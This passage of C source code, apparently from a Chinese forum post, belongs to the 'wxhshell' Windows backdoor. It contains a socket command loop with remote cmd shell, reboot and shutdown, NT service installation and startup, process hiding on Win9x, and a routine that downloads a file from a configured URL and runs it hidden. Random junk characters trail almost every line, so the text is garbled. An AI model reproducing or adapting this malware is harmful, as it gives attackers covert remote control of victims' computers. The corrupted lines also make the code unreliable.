  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >6Y @8 )  
  } f4%Z~3P  
  else { !3O8B0K)v  
#`Af  
    switch(cmd[0]) { JWZG)I]r  
  B*0TM+  
  // 帮助 JRti2Mu  
  case '?': { .r ,wc*SF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |7Dc7p"D  
    break; 8jBrD1  
  } EM2=g9y  
  // 安装 JM&`&fsOC{  
  case 'i': { :.DZ~I  
    if(Install()) k)j6rU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u[:-^H  
    else Nm{+!}cC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^LI\W'K  
    break; e1<9:h+  
    } $ jkzm8{W  
  // 卸载 scc+r  
  case 'r': { dDu8n+(8 L  
    if(Uninstall()) 7sX#6`t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^;8dl.;  
    else $?Km3N\?v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3VZ}5  
    break; h5)4Z^n  
    } ;B^ 9sr  
  // 显示 wxhshell 所在路径 XWq`MwC9  
  case 'p': { t6q7 w  
    char svExeFile[MAX_PATH]; ]D.} /g  
    strcpy(svExeFile,"\n\r"); :$=]*54`T  
      strcat(svExeFile,ExeFile); /wi*OZ7R  
        send(wsh,svExeFile,strlen(svExeFile),0); _^Z v[P  
    break; 9kzJ5}  
    } @ ^q}.u`  
  // 重启 `uwSxt  
  case 'b': { r@t \a+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +B '<0  
    if(Boot(REBOOT)) C6JwJYa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (.J6>"K<  
    else { l5 T0x=y9!  
    closesocket(wsh); &q7}HO/ @  
    ExitThread(0); pP-L{bT  
    } YB+My~fw{l  
    break; 6ys|'<?  
    } + Pc2`,pw|  
  // 关机 u0Bz]Ux/Q  
  case 'd': { gJ H^f3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L9]y~[R:  
    if(Boot(SHUTDOWN)) 'WNq/z"X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5oe{i/#di  
    else { /EW=OZ/  
    closesocket(wsh); < ZG!w^  
    ExitThread(0); v t_lM  
    } *qA:%m3  
    break; oe*fgk/o9  
    } $ghlrV;:ct  
  // 获取shell [Mk:Zz%  
  case 's': { 'kSm}} y  
    CmdShell(wsh); _ G$21=  
    closesocket(wsh); Ub{7Xk n  
    ExitThread(0); )GfL?'Z  
    break; (sW$2a  
  } F]L96&  
  // 退出 *&z !y/  
  case 'x': { ro+8d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^KJi |'B  
    CloseIt(wsh); 9T\\hM)k  
    break; K1=j7  
    } G '%ZPh89  
  // 离开 x9o(q`N  
  case 'q': { -;O"Y?ME  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Byh!Snoe  
    closesocket(wsh); gSHN,8. `  
    WSACleanup(); .:t&LC][  
    exit(1); a`D`v5G t  
    break; NE><(02qW  
        } ck$>   
  } pQ xv_4  
  } ezA&cZ5  
g^{a;=  
  // 提示信息 On(.(7sNc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XaaR>HljJ  
} $k+XH+1CW  
  } 1*f/Y9 Z  
`NyO|9/4  
  return; Zul@aS !  
} R1Fcd@DWD  
It]GlxMX  
// shell模块句柄 L/)eNZ  
int CmdShell(SOCKET sock) ny0]Q@  
{ hb(H-`16  
STARTUPINFO si; [sK'jQo-[1  
ZeroMemory(&si,sizeof(si)); ./<giTR:p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +fHqGZ]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5'[yw:P-8  
PROCESS_INFORMATION ProcessInfo; S3Fj /2Q8  
char cmdline[]="cmd"; R ^"*ut  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %6x3 G  
  return 0; d>0 j!+s  
} QS@eqN  
) >N=B2P  
// 自身启动模式 \SBAk h  
int StartFromService(void) CQA^"Ll  
{ id)J;!^;J  
typedef struct aNgJm~K0P  
{ P!!:p2fo  
  DWORD ExitStatus; 1i#U&  
  DWORD PebBaseAddress; lr[&*v?h  
  DWORD AffinityMask; >+%p }l:<\  
  DWORD BasePriority; &-KQ m20n  
  ULONG UniqueProcessId; XUK%O8N#9  
  ULONG InheritedFromUniqueProcessId; 4rypT-%^;  
}   PROCESS_BASIC_INFORMATION; d 1 O+qS  
b(A;mt#N  
PROCNTQSIP NtQueryInformationProcess; }7i}dyQv}  
~Q)Dcit-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sh%%U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R4XcWx*pQ  
h: zi8;(  
  HANDLE             hProcess; 787}s`,}  
  PROCESS_BASIC_INFORMATION pbi; qX]ej 2  
lAAPV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %p};Di[V  
  if(NULL == hInst ) return 0; OKCX>'j:S  
zU# OjvNk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HqA3.<=F,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !< ^`Sx/+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TZ:dY x  
*4 Kc "M  
  if (!NtQueryInformationProcess) return 0; Rp.FG   
L/:u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cKAZWON8;v  
  if(!hProcess) return 0; ntF#x.1Pm  
3M{b:|3/q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _1?Fy u&<5  
jqy?Od )  
  CloseHandle(hProcess); "#`c\JuR ]  
nb|"dK|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _ 3>|1RB  
if(hProcess==NULL) return 0; |Vc:o_n7  
Alb5#tm:m  
HMODULE hMod; z(beT e  
char procName[255]; Vt U  
unsigned long cbNeeded; ^i~'aq  
#|{^k u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,6a }l;lv  
<txzKpM  
  CloseHandle(hProcess); +yu^Z*_  
HUY1nb=  
if(strstr(procName,"services")) return 1; // 以服务启动 evHKq}{  
[es-&X07<  
  return 0; // 注册表启动 ~ TALpd  
} O:G-I$F|  
tL@m5M%:N2  
// 主模块 5>[ j^g+@  
int StartWxhshell(LPSTR lpCmdLine) $kk!NAW  
{ h3:dO|Z  
  SOCKET wsl; (6\ H~  
BOOL val=TRUE; 5VPP 2;J  
  int port=0; ^<O:`c6_  
  struct sockaddr_in door; j*;/Cah]k  
)*3sE1  
  if(wscfg.ws_autoins) Install(); EYF]&+ 9  
gL;tyf1P  
port=atoi(lpCmdLine); WD5ulm?91|  
GPnSdGLC  
if(port<=0) port=wscfg.ws_port; (s.S n(E  
h|Uy!?l  
  WSADATA data; &za~=+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t Sf`  
goV[C]|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VR9C< tMSi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6?c(ueiL[  
  door.sin_family = AF_INET; &D~70N\L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O~AOZ^a:2  
  door.sin_port = htons(port); \ >(;t#>  
~V4&l3o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X`k[ J6  
closesocket(wsl); SggS8$a`  
return 1; {?9s~{Dl  
} eqze7EY  
xl$#00|y  
  if(listen(wsl,2) == INVALID_SOCKET) { (_ElM>  
closesocket(wsl); K-nf@o+  
return 1; K}U}h>N  
} W@x UR-}51  
  Wxhshell(wsl); -3<5,Q{G+  
  WSACleanup(); @u2nG:FG  
DN@T4!  
return 0; BZE~k?*  
t>T |\WAAL  
} jo4*,B1x  
dZ7+Iw;m  
// 以NT服务方式启动 /*bS~7f1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZAPT5  
{ ]64mSB  
DWORD   status = 0; )[>b7K$f  
  DWORD   specificError = 0xfffffff; #U NTD4   
<Dw`Ur^X5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WKQVT I&A.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3~4e\xL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u9FXZK7  
  serviceStatus.dwWin32ExitCode     = 0; wvm`JOP:A  
  serviceStatus.dwServiceSpecificExitCode = 0; 8_K22]c5  
  serviceStatus.dwCheckPoint       = 0; tw]RH(g+#  
  serviceStatus.dwWaitHint       = 0; MX?K3=j @>  
bO: Ei  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #"a?3!wr  
  if (hServiceStatusHandle==0) return; DLkNL?a  
N(@'L43$V  
status = GetLastError(); z$E+xZ  
  if (status!=NO_ERROR) 92GO.xAD?  
{ Mrp'wF D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /GNRu  
    serviceStatus.dwCheckPoint       = 0; @#}9?>UV  
    serviceStatus.dwWaitHint       = 0; !p1OBS|  
    serviceStatus.dwWin32ExitCode     = status; E {d Mdz  
    serviceStatus.dwServiceSpecificExitCode = specificError; DEaO= p|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ](vsh gp2  
    return; {hX. R  
  } SU9#Y|I  
nv(Pwb3B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WJZW5 Xt  
  serviceStatus.dwCheckPoint       = 0; SM5i3EcFYP  
  serviceStatus.dwWaitHint       = 0; SG8H~]CO)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?MuM _6  
} A8hj"V47  
pc5-'; n  
// 处理NT服务事件,比如:启动、停止 N7*JL2Rnq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W?G4\ubM3<  
{ Wy,DA^\ef  
switch(fdwControl) 28-6(oG  
{ 0b=OK0n!%  
case SERVICE_CONTROL_STOP: \0Zm3[  
  serviceStatus.dwWin32ExitCode = 0; R)t"`'6|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'bkecC  
  serviceStatus.dwCheckPoint   = 0; d5]9FIj  
  serviceStatus.dwWaitHint     = 0; BG"~yyKA  
  { =A<kDxqH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nbw&+dcJ8  
  } b/'fC%o,  
  return; )__vPPko i  
case SERVICE_CONTROL_PAUSE: &Hc8u,|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +GgWd=X.Y  
  break; X}_}`wIn  
case SERVICE_CONTROL_CONTINUE: `ItMn&P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X_|8CD-@6  
  break; X\hD 4r"  
case SERVICE_CONTROL_INTERROGATE: W{Ie(hf  
  break; 4>{q("r,  
}; WYwsTsG{_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rs{L  
} XY1NTo. =  
oGly|L>  
// 标准应用程序主函数 d37l/I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 75@){ :  
{ E$34myOVf  
-Duy: C6W  
// 获取操作系统版本 7<AHQ<#@  
OsIsNt=GetOsVer(); _C&2-tnp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +e%9P%[+  
5P -IZ8~$  
  // 从命令行安装 vX)JJ|g  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?@(_GrE-  
LSNa  
  // 下载执行文件 AASw^A3p  
if(wscfg.ws_downexe) { 7NMQUN7k '  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OTL=(k  
  WinExec(wscfg.ws_filenam,SW_HIDE); kW4/0PD  
} U'UV=:/-  
&'N{v@Oi)  
if(!OsIsNt) { nE+sbfC   
// 如果时win9x,隐藏进程并且设置为注册表启动 <O?iJ=$  
HideProc(); fr;>`u[;  
StartWxhshell(lpCmdLine); +e`f|OQ  
} n(/(F `  
else $s4rG=q  
  if(StartFromService()) @~U: |h  
  // 以服务方式启动 nyi}~sB  
  StartServiceCtrlDispatcher(DispatchTable); |zKe*H/  
else A$WE:<^  
  // 普通方式启动 rm;'/l8Y-E  
  StartWxhshell(lpCmdLine); V2,54YE  
,_r"=>?@  
return 0; (8qMF{  
}
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只看该作者 1 发表于: 2006-10-10
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